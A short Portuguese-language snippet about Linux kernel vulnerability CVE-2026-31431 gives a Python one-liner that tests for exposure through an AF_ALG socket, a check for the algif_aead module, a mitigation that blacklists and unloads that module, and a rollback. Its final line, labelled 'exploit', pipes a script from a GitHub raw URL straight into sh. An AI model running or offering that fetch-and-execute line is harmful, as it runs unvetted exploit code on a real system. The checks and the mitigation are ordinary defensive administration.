
Testes para a vulnerabilidade do kernel CVE-2026-31431, verifica se é vulnerável e fornece uma correção ao desativar o módulo algif_aead.
# Teste:Verificar vulnerabilidade
python3 -c 'import socket;exec("try:s=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));print(\"vulnerable\")\nexcept:print(\"not vulnerable\")")'
# verificar se o módulo
# Verificar se o módulo está carregado no kernel
lsmod | grep -q '^algif_aead' && echo "loaded" || echo "not loaded"
# Correção: Remover o módulo
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
# Reversão: recarregar o módulo
sudo rm -f /etc/modprobe.d/disable-algif.conf
sudo depmod -a
# exploit
curl https://raw.githubusercontent.com/studiogangster/CVE-2026-31431/refs/heads/main/test.sh | sh